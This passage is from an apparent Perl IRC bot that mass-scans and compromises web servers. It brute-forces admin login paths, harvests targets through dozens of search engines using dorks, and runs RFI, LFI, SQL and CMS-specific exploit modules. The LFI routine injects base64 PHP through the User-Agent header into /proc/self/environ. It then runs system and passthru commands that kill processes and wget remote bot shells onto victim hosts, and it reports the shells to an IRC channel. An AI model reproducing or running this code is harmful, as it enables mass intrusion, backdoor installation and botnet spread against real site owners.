  425. 'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','admin1.php','admin1.html','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','ccms/','ccms/login.php','ccms/index.php','maintenance/','webmaster/','adm/','configuration/','configure/','websvn/','admin/','admin/account.php','admin/account.html'. 'admin/index.php','admin/index.html','admin/login.php'. 'admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/index.php','administrator/login.html','administrator/login.php','administrator/account.html','administrator/account.php','administrator.php','administrator.html','login.php','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/home.asp','admin/controlpanel.asp','admin.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration/','administration.php','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','dminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/','  --> Finish!!');
  426.                                                 &msg("$path","15,1(4@9LOGIN15)13 Searching Admin login for 4".$test."");
  427.                                                 foreach $scan(@index){
  428.                                                 $url = $test.$scan;
  429.                                                 $request = HTTP::Request->new(GET=>$url);
  430.                                                 $useragent = LWP::UserAgent->new();
  431.                                                 $response = $useragent->request($request);
  432.                                                         if ($response->is_success && $response->content =~ /Admin Area/ || $response->content =~ /Password/ || $response->content =~ /welcome/ || $response->content =~ /admin area/ || $response->content =~ /passwd/ || $response->content =~ /username/) {
  433.                                                         $msg = "9Ok!!";
  434.                                                         }
  435.                                                         else { $msg = "4forbidden!!";}
  436.                                                 &msg("$path","15,1(4@9LOGIN15)13 $url 4$msg");
  437.                                                 sleep 1;
  438.                                                 }
  439.                                                 }
  440.                                                 exit;
  441.                                         }
  442.                                 }
  443.  
  444.                 ##################################################################### RFI SCAN
  445.  
  446.                 if ($msg=~ /^$rficmd\s+(.+?)\s+(.*)/) {
  447.                     if (my $pid = fork) {
  448.                         waitpid($pid, 0);
  449.                     }
  450.                     else {
  451.                         if (fork) { exit; } else {
  452.                             if (&isFound($injector,"aXBheXMg=")) {
  453.                             my ($bug,$dork) = ($1,$2);
  454.                             &msg("$path","$rfilogo 9Dork :4 $dork");
  455.                             &msg("$path","$rfilogo 13Bugz :4 $bug");
  456.                             &msg("$path","$rfilogo 8Search Engine Loading ...");
  457.                             &scan_start($path,$bug,$dork,$engine,1);
  458.                         } else {
  459.                             &msg("$path","[ $nick ] $rfilogo 4PHP Shell Not Found!");
  460.                             }
  461.                         }
  462.                         exit;
  463.                     }
  464.                 }
  465.  
  466.                 ##################################################################### LFI SCAN
  467.  
  468.                 if ($msg=~ /^$lficmd\s+(.+?)\s+(.*)/) {
  469.                     if (my $pid = fork) {
  470.                         waitpid($pid, 0);
  471.                     }
  472.                     else {
  473.                         if (fork) { exit; } else {
  474.                             if (&isFound($injector,"aXBheXMg=")) {
  475.                                 my ($bug,$dork) = ($1,$2);
  476.                                 &msg("$path","$lfilogo 9Dork :4 $dork");
  477.                                 &msg("$path","$lfilogo 13Bugz :4 $bug");
  478.                                 &msg("$path","$lfilogo 8Search Engine Loading ...");
  479.                                 &scan_start($path,$bug,$dork,$engine,2);
  480.                             } else {
  481.                                 &msg("$path","[ $nick ] $lfilogo 4PHP Shell Not Found!");
  482.                             }
  483.                         }
  484.                         exit;
  485.                     }
  486.                 }
  487.  
  488.                 ##################################################################### e107 SCAN
  489.  
  490.                 if ($msg=~ /^$e107cmd\s+(.*)/) {
  491.                     if (my $pid = fork) {
  492.                         waitpid($pid, 0);
  493.                     }
  494.                     else {
  495.                         if (fork) { exit; } else {
  496.                             if (&isFound($injector,"aXBheXMg=")) {
  497.                                 my ($bug,$dork) = ("contact.php",$1);
  498.                                 &msg("$path","$e107logo 9Dork :4 $dork");
  499.                                 &msg("$path","$e107logo 13Bugz :4 $bug");
  500.                                 &msg("$path","$e107logo 8Search Engine Loading ...");
  501.                                 &scan_start($path,$bug,$dork,$engine,3);
  502.                             } else {
  503.                                 &msg("$path","[ $nick ] $e107logo 4PHP Shell Not Found!");
  504.                             }
  505.                         }
  506.                         exit;
  507.                     }
  508.                 }
  509.                                 ##################################################################### XML SCAN
  510.                                 if ($msg=~ /^$xmlcmd\s+(.*?)\s+(.*)/ ) {
  511.                                         if (my $pid = fork) {
  512.                                                 waitpid($pid, 0);
  513.                                         }
  514.                                         else {
  515.                                                 if (fork) {    exit; } else {
  516.                             if (&isFound($injector,"aXBheXMg=")) {
  517.                                 my ($bug,$dork) = ($1,$2);
  518.                                 &msg("$path","$xmllogo 9Dork :4 $dork");
  519.                                 &msg("$path","$xmllogo 13Bugz :4 $bug");
  520.                                 &msg("$path","$xmllogo 8Search Engine Loading ...");
  521.                                 &scan_start($path,$bug,$dork,$engine,4);
  522.                             } else {
  523.                                 &msg("$path","[ $nick ] $xmllogo 4PHP Shell Not Found!");
  524.                             }
  525.                         }
  526.                         exit;
  527.                     }
  528.                 }
  529.  
  530.                 ##################################################################### SQL SCAN
  531.  
  532.                 if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
  533.                     if (my $pid = fork) {
  534.                         waitpid($pid, 0);
  535.                     }
  536.                     else {
  537.                         if (fork) { exit; } else {
  538.                             my ($bug,$dork) = ($1,$2);
  539.                             &msg("$path","$sqllogo 9Dork :4 $dork");
  540.                             &msg("$path","$sqllogo 13Bugz :4 $bug");
  541.                             &msg("$path","$sqllogo 8Search Engine Loading ...");
  542.                             &scan_start($path,$bug,$dork,$engine,5);
  543.                         }
  544.                         exit;
  545.                     }
  546.                 }
  547.  
  548.                 ##################################################################### OSCO SCAN
  549.  
  550.                 if ($msg=~ /^$oscocmd\s+(.*)/) {
  551.                     if (my $pid = fork) {
  552.                         waitpid($pid, 0);
  553.                     }
  554.                     else {
  555.                         if (fork) { exit; } else {
  556.                             if (&isFound($injector,"aXBheXMg=")) {
  557.                             my ($bug,$dork) = ("admin/categories.php/login.php?cPath=&action=new_product_preview",$1);
  558.                             &msg("$path","$oscologo 9Dork :4 $dork");
  559.                             &msg("$path","$oscologo 8Search Engine Loading ...");
  560.                             &scan_start($path,$bug,$dork,$engine,6);
  561.                         } else {
  562.                             &msg("$path","[ $nick ] $oscologo 4PHP Shell Not Found!");
  563.                             }
  564.                         }
  565.                         exit;
  566.                     }
  567.                 }
  568.                 ##################################################################### OSCO SCAN
  569.  
  570.                 if ($msg=~ /^$oscocmd\s+(.*)/) {
  571.                     if (my $pid = fork) {
  572.                         waitpid($pid, 0);
  573.                     }
  574.                     else {
  575.                         if (fork) { exit; } else {
  576.                             if (&isFound($injector,"aXBheXMg=")) {
  577.                             my ($bug,$dork) = ("admin/file_manager.php/login.php",$1);
  578.                             &scan_start($path,$bug,$dork,$engine,6);
  579.                          } else {
  580.                             &msg("$path","[ $nick ] $oscologo 4PHP Shell Not Found!");
  581.                             }
  582.                         }
  583.                         exit;
  584.                     }
  585.                 }
  586.  
  587.                 ##################################################################### PhpMyAdmin SCAN
  588.  
  589.                 if ($msg=~ /^$admcmd\s+(.*)/) {
  590.                     if (my $pid = fork) {
  591.                         waitpid($pid, 0);
  592.                     }
  593.                     else {
  594.                         if (fork) { exit; } else {
  595.                             my ($bug,$dork) = ("phpMyAdmin/config/config.inc.php",$1);
  596.                             &msg("$path","$admlogo 9Dork :4 $dork");
  597.                             &msg("$path","$admlogo 8Search Engine Loading ...");
  598.                             &scan_start($path,$bug,$dork,$engine,7);
  599.                         }
  600.                         exit;
  601.                     }
  602.                 }
  603.                 ##################################################################### OPENCART SCAN
  604.  
  605.                 if ($msg=~ /^$opcmd\s+(.+?)\s+(.*)/) {
  606.                     if (my $pid = fork) {
  607.                         waitpid($pid, 0);
  608.                     }
  609.                     else {
  610.                         if (fork) { exit; } else {
  611.                             my ($bug,$dork) = ($1,$2);
  612.                             &msg("$path","$oplogo 9Dork :4 $dork");
  613.                             &msg("$path","$oplogo 13Bugz :4 $bug");
  614.                             &msg("$path","$oplogo 8Search Engine Loading ...");
  615.                             &scan_start($path,$bug,$dork,$engine,8);
  616.                         }
  617.                         exit;
  618.                     }
  619.                 }
  620.                 ##################################################################### ZEN SCAN
  621.  
  622.                 if ($msg=~ /^$zencmd\s+(.*)/) {
  623.                     if (my $pid = fork) {
  624.                         waitpid($pid, 0);
  625.                     }
  626.                     else {
  627.                         if (fork) { exit; } else {
  628.                             my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
  629.                             &msg("$path","$zenlogo 9Dork :4 $dork");
  630.                             &msg("$path","$zenlogo 13Search Engine Loading ...");
  631.                             &scan_start($path,$bug,$dork,$engine,9);
  632.                         }
  633.                         exit;
  634.                     }
  635.                 }
  636.                 ##################################################################### ZEN SCAN
  637.  
  638.                 if ($msg=~ /^$zencmd\s+(.*)/) {
  639.                     if (my $pid = fork) {
  640.                         waitpid($pid, 0);
  641.                     }
  642.                     else {
  643.                         if (fork) { exit; } else {
  644.                             my ($bug,$dork) = ("admin/record_company.php",$1);
  645.                             &scan_start($path,$bug,$dork,$engine,9);
  646.                         }
  647.                         exit;
  648.                     }
  649.                 }
  650.                                 #####################################################################
  651.  
  652.             }
  653.         }
  654.  
  655.         for(my $c=0; $c<= $#lines; $c++) {
  656.             $line = $lines[$c];
  657.             $line = $line_temp.$line if ($line_temp);
  658.             $line_temp = '';
  659.             $line =~ s/\r$//;
  660.             unless ($c == $#lines) {
  661.                 &parse("$line");
  662.             } else {
  663.                 if ($#lines == 0) {
  664.                     &parse("$line");
  665.                 } elsif ($lines[$c] =~ /\r$/) {
  666.                     &parse("$line");
  667.                 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  668.                     &parse("$line");
  669.                 } else {
  670.                     $line_temp = $line;
  671.                 }
  672.             }
  673.         }
  674.     }
  675. }
  676.  
  677. #########################################
  678. sub type () {
  679. my ($chan,$bug,$dork,$engine,$type) = @_;
  680.            if ($type == 1){&rfi($chan,$bug,$dork,$engine);}
  681.         elsif ($type == 2){&lfi($chan,$bug,$dork,$engine);}
  682.         elsif ($type == 3){&e107($chan,$bug,$dork,$engine);}
  683.         elsif ($type == 4){&xml($chan,$bug,$dork,$engine);}
  684.         elsif ($type == 5){&sql($chan,$bug,$dork,$engine);}
  685.         elsif ($type == 6){&osco($chan,$bug,$dork,$engine);}
  686.         elsif ($type == 7){&adm($chan,$bug,$dork,$engine);}
  687.         elsif ($type == 8){&op($chan,$bug,$dork,$engine);}
  688.         elsif ($type == 9){&zen($chan,$bug,$dork,$engine);}
  689. }
  690. sub scan_start() {
  691. my ($chan,$bug,$dork,$engine,$type) = @_;
  692.     if ($engine =~ /google/i) {
  693.         if (my $pid = fork) { waitpid($pid, 0); }
  694.         else { if (fork) { exit; } else {
  695.                 &type($chan,$bug,$dork,"GooGLe",$type);
  696.         } exit; }
  697.     }
  698.  
  699.     if ($engine =~ /google2/i) {
  700.         if ($pid = fork) { waitpid($pid, 0); }
  701.         else { if (fork) { exit; } else {
  702.                 &type($chan,$bug,$dork,"GooGle2",$type);
  703.         } exit; }
  704.     }
  705.  
  706.     if ($engine =~ /bing/i) {
  707.         if ($pid = fork) { waitpid($pid, 0); }
  708.         else { if (fork) { exit; } else {
  709.                 &type($chan,$bug,$dork,"Bing",$type);
  710.         } exit; }
  711.     }
  712.  
  713.     if ($engine =~ /altavista/i) {
  714.         if ($pid = fork) { waitpid($pid, 0); }
  715.         else { if (fork) { exit; } else {
  716.                 &type($chan,$bug,$dork,"ALtaViSTa",$type);
  717.         } exit; }
  718.     }
  719.  
  720.     if ($engine =~ /ask/i) {
  721.         if ($pid = fork) { waitpid($pid, 0); }
  722.         else { if (fork) { exit; } else {
  723.                 &type($chan,$bug,$dork,"AsK",$type);
  724.         } exit; }
  725.     }
  726.  
  727.     if ($engine =~ /uol/i) {
  728.         if ($pid = fork) { waitpid($pid, 0); }
  729.         else { if (fork) { exit; } else {
  730.                 &type($chan,$bug,$dork,"UoL",$type);
  731.         } exit; }
  732.     }
  733.  
  734.     if ($engine =~ /yahoo/i) {
  735.         if ($pid = fork) { waitpid($pid, 0); }
  736.         else { if (fork) { exit; } else {
  737.                 &type($chan,$bug,$dork,"YahOo",$type);
  738.         } exit; }
  739.     }
  740.  
  741.     if ($engine =~ /clusty/i) {
  742.         if ($pid = fork) { waitpid($pid, 0); }
  743.         else { if (fork) { exit; } else {
  744.                 &type($chan,$bug,$dork,"CluSty",$type);
  745.         } exit; }
  746.     }
  747.  
  748.     if ($engine =~ /gutser/i) {
  749.         if ($pid = fork) { waitpid($pid, 0); }
  750.         else { if (fork) { exit; } else {
  751.             &type($chan,$bug,$dork,"GutSer",$type);
  752.         } exit; }
  753.     }
  754.  
  755.     if ($engine =~ /rediff/i) {
  756.         if ($pid = fork) { waitpid($pid, 0); }
  757.         else { if (fork) { exit; } else {
  758.                 &type($chan,$bug,$dork,"ReDiff",$type);
  759.         } exit; }
  760.     }
  761.  
  762.     if ($engine =~ /virgilio/i) {
  763.         if ($pid = fork) { waitpid($pid, 0); }
  764.         else { if (fork) { exit; } else {
  765.                 &type($chan,$bug,$dork,"VirgiLio",$type);
  766.         } exit; }
  767.     }
  768.  
  769.     if ($engine =~ /webde/i) {
  770.         if ($pid = fork) { waitpid($pid, 0); }
  771.         else { if (fork) { exit; } else {
  772.                 &type($chan,$bug,$dork,"WebDe",$type);
  773.         } exit; }
  774.     }
  775.  
  776.     if ($engine =~ /exalead/i) {
  777.         if ($pid = fork) { waitpid($pid, 0); }
  778.         else { if (fork) { exit; } else {
  779.                 &type($chan,$bug,$dork,"ExaLead",$type);
  780.         } exit; }
  781.     }
  782.  
  783.     if ($engine =~ /lycos/i) {
  784.         if ($pid = fork) { waitpid($pid, 0); }
  785.         else { if (fork) { exit; } else {
  786.                 &type($chan,$bug,$dork,"LyCos",$type);
  787.         } exit; }
  788.     }
  789.  
  790.     if ($engine =~ /hotbot/i) {
  791.         if ($pid = fork) { waitpid($pid, 0); }
  792.         else { if (fork) { exit; } else {
  793.                 &type($chan,$bug,$dork,"HotBot",$type);
  794.         } exit; }
  795.     }
  796.  
  797.     if ($engine =~ /aol/i) {
  798.         if ($pid = fork) { waitpid($pid, 0); }
  799.         else { if (fork) { exit; } else {
  800.                 &type($chan,$bug,$dork,"AoL",$type);
  801.         } exit; }
  802.     }
  803.  
  804.     if ($engine =~ /sapo/i) {
  805.         if ($pid = fork) { waitpid($pid, 0); }
  806.         else { if (fork) { exit; } else {
  807.                 &type($chan,$bug,$dork,"SaPo",$type);
  808.         } exit; }
  809.     }
  810.  
  811.     if ($engine =~ /duck/i) {
  812.         if ($pid = fork) { waitpid($pid, 0); }
  813.         else { if (fork) { exit; } else {
  814.                 &type($chan,$bug,$dork,"DuCk",$type);
  815.         } exit; }
  816.     }
  817.  
  818.     if ($engine =~ /lygo/i) {
  819.         if ($pid = fork) { waitpid($pid, 0); }
  820.         else { if (fork) { exit; } else {
  821.                 &type($chan,$bug,$dork,"LyGo",$type);
  822.         } exit; }
  823.     }
  824.  
  825.     if ($engine =~ /yause/i) {
  826.         if ($pid = fork) { waitpid($pid, 0); }
  827.         else { if (fork) { exit; } else {
  828.                 &type($chan,$bug,$dork,"YauSe",$type);
  829.         } exit; }
  830.     }
  831.  
  832.     if ($engine =~ /baidu/i) {
  833.         if ($pid = fork) { waitpid($pid, 0); }
  834.         else { if (fork) { exit; } else {
  835.                 &type($chan,$bug,$dork,"BaiDu",$type);
  836.         } exit; }
  837.     }
  838.  
  839.     if ($engine =~ /kipot/i) {
  840.         if ($pid = fork) { waitpid($pid, 0); }
  841.         else { if (fork) { exit; } else {
  842.                 &type($chan,$bug,$dork,"KiPoT",$type);
  843.         } exit; }
  844.     }
  845.  
  846.     if ($engine =~ /gibla/i) {
  847.         if ($pid = fork) { waitpid($pid, 0); }
  848.         else { if (fork) { exit; } else {
  849.                 &type($chan,$bug,$dork,"GiBLa",$type);
  850.         } exit; }
  851.     }
  852.  
  853.     if ($engine =~ /black/i) {
  854.         if ($pid = fork) { waitpid($pid, 0); }
  855.         else { if (fork) { exit; } else {
  856.                 &type($chan,$bug,$dork,"BLacK",$type);
  857.         } exit; }
  858.     }
  859.  
  860.         if ($engine =~ /onet/i) {
  861.         if ($pid = fork) { waitpid($pid, 0); }
  862.         else { if (fork) { exit; } else {
  863.                 &type($chan,$bug,$dork,"oNeT",$type);
  864.         } exit; }
  865.     }
  866.  
  867.         if ($engine =~ /israel/i) {
  868.         if ($pid = fork) { waitpid($pid, 0); }
  869.         else { if (fork) { exit; } else {
  870.                 &type($chan,$bug,$dork,"israel",$type);
  871.         } exit; }
  872.     }
  873. if ($engine =~ /hongkong/i) {
  874.         if ($pid = fork) { waitpid($pid, 0); }
  875.         else { if (fork) { exit; } else {
  876.                 &type($chan,$bug,$dork,"hongkong",$type);
  877.         } exit; }
  878.     }
  879.  
  880. if ($engine =~ /india/i) {
  881.         if ($pid = fork) { waitpid($pid, 0); }
  882.         else { if (fork) { exit; } else {
  883.                 &type($chan,$bug,$dork,"india",$type);
  884.         } exit; }
  885.     }
  886.  
  887. if ($engine =~ /korea/i) {
  888.         if ($pid = fork) { waitpid($pid, 0); }
  889.         else { if (fork) { exit; } else {
  890.                 &type($chan,$bug,$dork,"korea",$type);
  891.         } exit; }
  892.     }
  893.  
  894. if ($engine =~ /philiphina/i) {
  895.         if ($pid = fork) { waitpid($pid, 0); }
  896.         else { if (fork) { exit; } else {
  897.                 &type($chan,$bug,$dork,"philiphina",$type);
  898.         } exit; }
  899.     }
  900. if ($engine =~ /thailand/i) {
  901.         if ($pid = fork) { waitpid($pid, 0); }
  902.         else { if (fork) { exit; } else {
  903.                 &type($chan,$bug,$dork,"thailand",$type);
  904.         } exit; }
  905.     }
  906.  
  907. if ($engine =~ /sizuka/i) {
  908.         if ($pid = fork) { waitpid($pid, 0); }
  909.         else { if (fork) { exit; } else {
  910.                 &type($chan,$bug,$dork,"SiZuka",$type);
  911.         } exit; }
  912.     }
  913.  
  914.         if ($engine =~ /walla/i) {
  915.         if ($pid = fork) { waitpid($pid, 0); }
  916.         else { if (fork) { exit; } else {
  917.                 &type($chan,$bug,$dork,"WaLLa",$type);
  918.         } exit; }
  919.     }
  920.  
  921.         if ($engine =~ /demos/i) {
  922.         if ($pid = fork) { waitpid($pid, 0); }
  923.         else { if (fork) { exit; } else {
  924.                 &type($chan,$bug,$dork,"DeMos",$type);
  925.         } exit; }
  926.     }
  927.  
  928.         if ($engine =~ /rose/i) {
  929.         if ($pid = fork) { waitpid($pid, 0); }
  930.         else { if (fork) { exit; } else {
  931.                 &type($chan,$bug,$dork,"RoSe",$type);
  932.         } exit; }
  933.     }
  934.  
  935.         if ($engine =~ /seznam/i) {
  936.         if ($pid = fork) { waitpid($pid, 0); }
  937.         else { if (fork) { exit; } else {
  938.                 &type($chan,$bug,$dork,"SeZnaM",$type);
  939.         } exit; }
  940.     }
  941.  
  942.         if ($engine =~ /tiscali/i) {
  943.         if ($pid = fork) { waitpid($pid, 0); }
  944.         else { if (fork) { exit; } else {
  945.                 &type($chan,$bug,$dork,"TisCali",$type);
  946.         } exit; }
  947.     }
  948.  
  949.         if ($engine =~ /naver/i) {
  950.         if ($pid = fork) { waitpid($pid, 0); }
  951.         else { if (fork) { exit; } else {
  952.                 &type($chan,$bug,$dork,"NaVeR",$type);
  953.         } exit; }
  954.     }
  955. }
  956.  
  957. #########################################
  958.  
  959. sub rfi() {
  960.     my $chan = $_[0];
  961.     my $bug = $_[1];
  962.     my $dork = $_[2];
  963.     my $engine = $_[3];
  964.     my $count = 0;
  965.     my @list = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
  966.     my $num = scalar(@list);
  967.     if ($num > 0) {
  968.         foreach my $site (@list) {
  969.             $count++;
  970.                                 if ($count == $num-1) { &msg("$chan","$rfilogo(4@9$engine15)10 Scan finish"); }
  971.                                 my $coba = "http://".$site.$bug."test??";
  972.                                 my $test = "http://".$site.$bug.$injector."??";
  973.                                 my $dor  = "http://".$site.$bug.$botshell."??";
  974.                                 my $dor2  = "http://".$site.$bug.$botshell2."??";
  975.                                 my $cek  = &get_content($coba);sleep(1);
  976.                                 &get_content($dor);sleep(1);
  977.                                 &get_content($dor2);sleep(1);
  978.                                 if ($cek =~ /failed to open stream/i) {
  979.                                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  980.                                         &rfi_xpl($test,$chan,$site);
  981.                                         exit;}
  982.                                         }
  983.                                 }
  984.                 }
  985.         }
  986. }
  987.  
  988. sub rfi_xpl() {
  989. my $url    = $_[0];
  990. my $chan   = $_[1];
  991. my $site   = $_[2];
  992. my $dor  = $url.$botshell."??";
  993. my $dor2  = $url.$botshell2."??";
  994. my $test = $url.$injector."??";
  995. my $vuln = $url."14(ByroeNet)";
  996. my $check = &get_content($test);
  997.             &get_content($dor);sleep(1);
  998.             &get_content($dor2);sleep(1);
  999.         if ( $check =~ /ipays - exploit/i ) {
  1000.         my $safe   ="";
  1001.         my $os            ="";
  1002.         my $free   ="";
  1003.     if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
  1004.     if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
  1005.     if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
  1006.     if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
  1007.                 &msg("$chan","$rfilogo(4@9VuLn15)13 ".$vuln."9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)(4@9safemode-off15)");
  1008.                 &msg("$admin","$rfilogo(4@9VuLn15)13 ".$vuln."9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");
  1009.                 }
  1010.                 else {&msg("$chan","$rfilogo(4@9VuLn15)10 ".$vuln." (4@7safemode-on15)");}
  1011. }
  1012.  
  1013. sub lfi() {
  1014.     my $chan = $_[0];
  1015.     my $bug = $_[1];
  1016.     my $dork = $_[2];
  1017.     my $engine = $_[3];
  1018.     my $count = 0;
  1019.     my @list = &search_engine($chan,$bug,$dork,$engine,$lfilogo);
  1020.     my $num = scalar(@list);
  1021.     if ($num > 0) {
  1022.         foreach my $site (@list) {
  1023.             $count++;
  1024.             if ($count == $num-1) { &msg("$chan","$lfilogo(4@9$engine15)10 Scan finish"); }
  1025.             my $dir = "../../../../../../../../../../../../../";
  1026.             my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000";
  1027.             my $vuln = "http://".$site."12".$bug.$dir."/proc/self/environ%0000";
  1028.             my $shell = "http://".$site."12".$bug.$dir."/tmp/ipays%0000";
  1029.             my $html = &get_content($test);
  1030.             if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
  1031.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1032.                     my $code = 'echo "c0li#".php_uname()."#c0li".get_current_user();if(@copy("'.$injector.'","/tmp/ipays")) { echo "SUCCESS";@copy("'.$botshell.'","/tmp/dev");@copy("'.$botshell2.'","/tmp/maza"); }';
  1033.                     my $res = lfi_env_query($test,encode_base64($code));
  1034.                                     &lfi_spread_query($test);
  1035.                                     &get_content("http://".$site.$bug.$dir."/tmp/dev%0000");
  1036.                                     &get_content("http://".$site.$bug.$dir."/tmp/maza%0000");
  1037.                     $res =~ s/\n//g;
  1038.                     if ($res =~ /c0li#(.*)#c0li(.*)SUCCESS/sg) {
  1039.                         my $sys = $1;
  1040.                                                 $nob0dy = $2;
  1041.                         &msg("$chan","$lfilogo(4@8$engine15)15(4@9SHeLL15)13 ".$shell." 15(4@9".$sys."15))15(4@9$nob0dy15)");sleep(2);
  1042.                     }
  1043.                     elsif ($res =~ /c0li#(.*)#c0li(.*)/sg) {
  1044.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1045.                             my $sys = $1;
  1046.                             $nob0dy = $2;
  1047.                             my $upload = 'system("killall -9 perl;killall -9 php;wget '.$injector.' -O images.php;fetch '.$injector.';mv ipays.jpg images.php;wget '.$botshell.' -O byroe.php;fetch '.$botshell.';mv byroe.jpg byroe.php;wget '.$botshell2.' -O allnet.php;fetch '.$botshell2.';mv allnet.jpg allnet.php;");passthru("killall -9 perl;killall -9 php;wget '.$injector.' -O images.php;fetch '.$injector.';mv ipays.jpg images.php;wget '.$botshell.' -O byroe.php;fetch '.$botshell.';mv byroe.jpg byroe.php;wget '.$botshell2.' -O allnet.php;fetch '.$botshell2.';mv allnet.jpg allnet.php;");';
  1048.                             my $wget = lfi_env_query($test,encode_base64($upload)); sleep(2);
  1049.                             my $check = &get_content("http://".$site.$bug.$dir."/tmp/ipays%0000"); sleep(2);
  1050.                                         &get_content("http://".$site.$bug.$dir."/tmp/dev%0000");sleep(2);
  1051.                                         &get_content("http://".$site.$bug.$dir."/tmp/maza%0000");sleep(2);
  1052.                             if ($check =~ /ipays - exploit/) {
  1053.                                 &msg("$chan","$lfilogo(4@8$engine15)15(4@9SHeLL15)13 ".$shell." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
  1054.                                 &msg("$admin","$lfilogo(4@8$engine15)15(4@9SHeLL15)13 ".$shell." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
  1055.                             }
  1056.                             else {
  1057.                                 &msg("$chan","$lfilogo(4@8$engine15)15(4@9SysTem15)7 ".$vuln." 15(4@3".$sys."15))15(4@9$nob0dy15)");sleep(2);
  1058.                             }
  1059.                         } exit; }
  1060.                     }
  1061.                     else { &msg("$chan","$lfilogo(4@8$engine15)15(4@9EnviRon15)10 ".$vuln); }
  1062.                 } exit; } sleep(2);
  1063.             }
  1064.         }
  1065.     }
  1066. }
  1067.  
  1068. sub lfi_env_query() {
  1069.     my $url = $_[0];
  1070.     my $code = $_[1];
  1071.     my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".$code."'));?>");
  1072.     $ua->timeout(7);
  1073.     my $req = HTTP::Request->new(GET => $url);
  1074.     my $res = $ua->request($req);
  1075.     return $res->content;
  1076. }
  1077.  
  1078. sub lfi_spread_query() {
  1079.     my $url = $_[0];
